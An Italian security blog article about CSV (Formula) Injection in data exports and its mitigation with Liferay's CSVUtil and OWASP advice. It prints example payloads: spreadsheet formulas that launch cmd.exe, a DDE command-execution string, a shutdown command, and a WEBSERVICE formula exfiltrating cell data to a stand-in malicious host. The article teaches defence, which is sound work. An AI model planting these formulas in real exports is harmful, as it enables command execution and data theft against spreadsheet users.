Premessa

Quante volte ti è capitato di aver a che fare con l'export dei dati in formato CSV?

Diverse volte, suppongo.

E sei consapevole dei rischi a cui potresti andare incontro nel sottovalutare alcune vulnerabilità nello sviluppo di una componente per l'export dei dati in formato CSV, aprendo la strada ad una serie di attacchi quali Remote Command Execution e Data Breach?

Se non hai mai sentito parlare di Injection e, più precisamente di Formula Injection o di CSV Injection, allora questo articolo farà certamente al caso tuo.

Nel mio precedente articolo su questo techblog avevo già illustrato come gli attacchi di tipo Injection possono rappresentare un serio rischio per la sicurezza dei tuoi dati, e come prevenirli con Liferay.

La lettura dell'articolo: Injection - come prevenire con Liferay è dunque vivamente consigliata al fine di comprendere al meglio gli argomenti trattati; tuttavia se sei un lettore esperto e già conosci le insidie che si nascondono dietro questo tipo di attacchi e le strategie per neutralizzarli, allora non avrai di certo difficoltà a proseguire con la lettura.

In questo articolo vedremo nel dettaglio in cosa consistono queste tipologie di attacchi, le possibile tecniche per neutralizzarli e come utilizzare al meglio le API offerte dal framework Liferay per il corretto encoding dei valori da esportare in un CSV.

Il problema della validazione degli input

Come saprai, la prima regola per scongiurare gli attacchi di tipo injection consiste nella validazione degli input: ciò consentirà di escludere alcuni caratteri più o meno speciali che potrebbero rivelarsi assai utili per l'attaccante. Purtroppo non sempre è facile definire una espressione regolare che escluda tutti i caratteri non desiderati, eccetto quelli che appartengono propriamente al dominio dell'input e dei quali non possiamo farne a meno. Un esempio può essere il carattere apostrofo " ' " che non possiamo di certo escludere dai campi di input per il nome ed il cognome, ma del quale faremmo volentieri a meno in quanto lo stesso carattere è sia un valido separatore di attributi in HTML che un carattere indispensabile nel linguaggio SQL per definire sequenze di caratteri.

La presenza di un efficace meccanismo di validazione degli input è dunque fondamentale, e rappresenta la prima regola di difesa nonché l'unica strategia per prevenire gli attacchi di tipo injection.

Inoltre è sempre opportuno assicurarsi di non aver trascurato la seconda regola per la difesa dagli attacchi di tipo injection, che consiste nel neutralizzare gli attacchi mediante output sanitization o output escaping.

Nonostante tutte queste precauzioni potrebbe però accadere che, del tutto ignari dei rischi che potrebbero derivare dalla mancanza di una strategia di codifica in output dei valori delle celle che si intende esportare, tutte queste attenzioni che abbiamo dato all'output sanitization vengono poi trascurate quando ci troviamo di fronte ad una componente per l'esportazione del CSV.

Niente di più pericoloso...

Per mostrarti in modo efficace il rischio che stai correndo, concentriamoci ora su uno dei campi di input più insidiosi da validare: il campo note. Spesso, per dare più libertà all'utente, oltre ai caratteri alfanumerici in un campo note multilinea sono consentiti i caratteri di punteggiatura ed alcuni simboli di valute oltre al simbolo "%" percentuale o altri caratteri speciali.

Ma nelle situazioni più comuni non effettuiamo alcun tipo di validazione né di escaping dei valori delle celle esportate nel CSV, perché in genere non sospettiamo affatto delle insidie che possono nascondersi dietro l'interpretazione di valori non desiderati in un foglio di calcolo.

Nei fogli di calcolo più diffusi nelle Office suite, come LibreOffice Calc o Microsoft Excel, alcune funzioni del foglio di calcolo possono rivelarsi un serio problema dal punto di vista della sicurezza.

In particolare, potremmo inserire in uno dei campi di input in un form la sequenza:

=COLLEG.IPERTESTUALE("C:\Windows\System32\cmd.exe";"Apri la pagina web")

Una volta richiesta l'esportazione in formato CSV, nella cella corrispondente verrà mostrato un link che consentirà all'utente di eseguire (previa conferma) il comando al percorso indicato.

Nell'esempio aprirà il prompt dei comandi sulla macchina della vittima; in questo modo l'attaccante è riuscito a sfruttare un attacco Formula Injection al fine di ottenere poi l'esecuzione di un comando del Sistema Operativo (Remote Command Execution o più propriamente OS Command Injection)

Allarmante, vero?

Del resto potremmo ovviare semplicemente con l'aggiunta di qualche meccanismo di validazione, se non fosse per il fatto che, trattandosi di hyperlink, di certo il foglio di calcolo potrà interpretare correttamente anche la seguente stringa in formato URL encoded:

=COLLEG.IPERTESTUALE("C%3A%5Cwindows%5Csystem32%5Ccmd.exe")

ecco dunque il motivo per il quale potrebbe risultare complicato proteggersi da un attacco di questo tipo nei casi in cui alcuni simboli come il percentuale, l'uguale o le parentesi tonde debbano essere accettati in input a meno di non voler limitare l'applicazione venendo meno alle necessità concordate con l'utente.

Per fortuna i fogli di calcolo che supportano questa tipologia di formule consentono la sola esecuzione del file indicato sul percorso e non il passaggio dei parametri, altrimenti potremmo effettuare lo shutdown immediato di un Sistema Operativo Windows iniettando il comando:

C:\Windows\System32\cmd.exe /C "shutdown /p"

ma ciò è soltanto una magra consolazione se pensiamo che invece è ammessa l'esecuzione di script, come i .vbs (VBScript) o i .bat (Batch) nel caso di Microsoft Windows.

Qualora la vittima utilizzasse invece versioni precedenti della suite Office oppure una versione recente in cui è abilitato il servizio Dynamic Data Exchange, allora potrebbe anche rischiare di subire un attacco ben più grave che consente l'esecuzione di comandi stavolta anche con il supporto dei parametri:

=cmd|'/K powershell ssh ...omitted...'!A0

Attacchi di questo tipo mediante Formula Injection sono dunque degli stratagemmi per arrivare ad altre tipologie di attacchi ben più pericolosi quali l'esecuzione di un comando del Sistema Operativo o lanciare una applicazione in modo indesiderato.

Dal momento che si accennava agli hyperlink, un attaccante potrebbe sfruttare un attacco di questo tipo anche per l'invocazione di servizi web malevoli mediante la funzione per l'invocazione dei servizi web.

Ad esempio, un attaccante potrebbe sfruttare una tale vulnerabilità per iniettare una formula che consenta l'invocazione di un servizio web a sua scelta, al fine di ricevere i dati contenuti nelle altre celle. Tale formula potrà essere iniettata in un campo di input di un form, per essere poi salvata nel database applicativo. In un secondo momento, un utente che richiederà l'export dei dati otterrà così il file CSV in cui il valore di una delle cella conterrà questa formula potenzialmente dannosa. L'utente che aprirà il file CSV, ignaro di tutto, potrebbe (involontariamente) invocare una HTTP Request verso il servizio malevolo:

=SERVIZIO.WEB(CONCATENA("http://service.malware?d="; C6&","&C7&","&C8))

passando nei parametri in GET i dati contenuti in determinate celle, essendo così vittima di un attacco di tipo Formula Injection ai fini di un Data Breach (come avviene con il parametro "d" che nell'esempio contiene la concatenazione dei valori presenti nelle celle C6, C7 e C8).

Le API di Liferay per l'encoding del CSV

La classe CSVUtil espone i seguenti metodi statici:

encode(Object object)
encode(String s)

il primo metodo, nel caso di un array, effettuerà la concatenazione dei valori mediante l'operazione di merge, per invocare poi l'altro metodo encode.

Utilizzare l'encoding dei valori in output eviterà eventuali occorrenze di apici doppie o altri caratteri che possono creare problemi in fase di interpretazione del CSV.

Benché utile dobbiamo comunque prestare attenzione al fatto che il metodo encode(), purtroppo, non avrà alcuna efficacia nel neutralizzare gli attacchi di tipo Formula Injection.

Liferay, sempre attenta ai problemi di sicurezza, ha già da tempo rilasciato una patch di sicurezza CST-7058 il cui obiettivo però consiste esclusivamente nell'impedire l'esportazione in formato CSV per le componenti Forms e Liste Dati Dinamici. Come descritto in una nota nella CST-7058:

Come neutralizzare gli attacchi Formula Injection

Arrivati a questo punto ti starai chiedendo quali sono le strategie utili a neutralizzare questo tipo di attacchi.

In accordo con quanto consigliato da OWASP in merito alle strategie di neutralizzazione degli attacchi di tipo CSV Injection o Formula Injection, sarebbe sufficiente assicurarsi che il contenuto di nessuna cella inizi per:

• = (uguale)
• + (più)
• - (meno)
• @ (chiocciola)

in questo modo si eviterebbe al foglio di calcolo di interpretare come formula il valore contenuto nella cella.

Qualora non fosse possibile possiamo anteporre il carattere apostrofo " ' " al valore della cella, anche se ciò non ci renderà immuni da quell'utente che decida (inconsapevolmente?) di eliminare l'apostrofo.

In tal caso potremmo adottare strategie più o meno invasive di sanitizzazione al fine di proteggere anche gli utenti più intraprendenti da se stessi.

Suggeriamo inoltre di applicare le regole sopraindicate indipendentemente dalla presenza di uno o più caratteri di apice doppia all'inizio del valore. Questo perchè la seguente:

"=SOMMA(1+1)"

verrebbe interpretata come una formula valida dal foglio di calcolo quando caricata da un CSV, con il conseguente rischio di essere eseguita inavvertitamente dall'utente.

Conclusioni

Gli attacchi di tipo Formula Injection possono rivelarsi molto dannosi e la loro azione avviene in diverse fasi:

• Fase 1: l'attaccante sfrutta uno o più campi di input in un form per iniettare la formula, che verrà così salvata sul database insieme agli altri campi.

• Fase 2: un utente accede all'applicazione ed effettua l'esportazione in formato CSV dei dati precedentemente salvati. Tra questi vi è il campo contenente come valore formula iniettata precedentemente.

• Fase 3: lo stesso utente, oppure un altro utente che riceverà il file esportato, aprirà il CSV con un programma (foglio di calcolo) quali LibreOffice Calc o Microsoft Excel, ed inavvertitamente potrebbe cliccare su un link malevolo o eseguire la formula presente in una delle celle. In questa fase avrà luogo l'attacco vero e proprio dal momento che, come avrete già intuito, un attacco Formula Injection è una strategia utilizzata per veicolare altri tipi di attacchi ben più dannosi quali il Remote Command Excecution e Data Breach che possono eseguire comandi o applicazioni del Sistema Operativo mettendo a rischio il funzionamento dell'intero sistema, oppure aprire connessioni verso servizi remoti scelti dall'attaccante per l'invio di dati sensibili.

A differenza degli attacchi di tipo XSS, queste tipologie di attacchi agiscono silenziosamente ed anche a notevole distanza di tempo rispetto all'istante in cui avvengono, e possono essere più complicati da individuare.

In modo simile agli attacchi di tipo XSS, le contromisure che possiamo adottare al fine di proteggerci da questo tipo di attacchi consistono nel:

• prevenire l'attacco mediante opportuna validazione dei campi di input;

• neutralizzare gli attacchi escludendo in output o anteponendo il carattere apostrofo " ' " ai valori che iniziano per uno dei simboli sottoelencati indipendentemente dalla presenza di eventuali doppie apici iniziali :

  • = (uguale)
  • + (più)
  • - (meno)
  • @ (chiocciola)

Prestate dunque molta attenzione alle vostre componenti di esportazione in CSV, applicando dove possibile i suggerimenti riportati in questo articolo, e restate sintonizzati sul canale Liferay - Techblog SMC.

Per ulteriori approfondimenti:

• https://payatu.com/csv-injection-basic-to-exploit
• https://labs.bishopfox.com/tech-blog/2018/06/server-side-spreadsheet-injections
• http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/
• https://owasp.org/www-community/attacks/CSV_Injection
• https://cwe.mitre.org/data/definitions/1236.html
• https://docs.microsoft.com/it-it/office/troubleshoot/excel/security-settings
• https://techblog.smc.it/it/2020-06-19/injection-attacks-how-to-prevent-with-liferay
• https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/113765052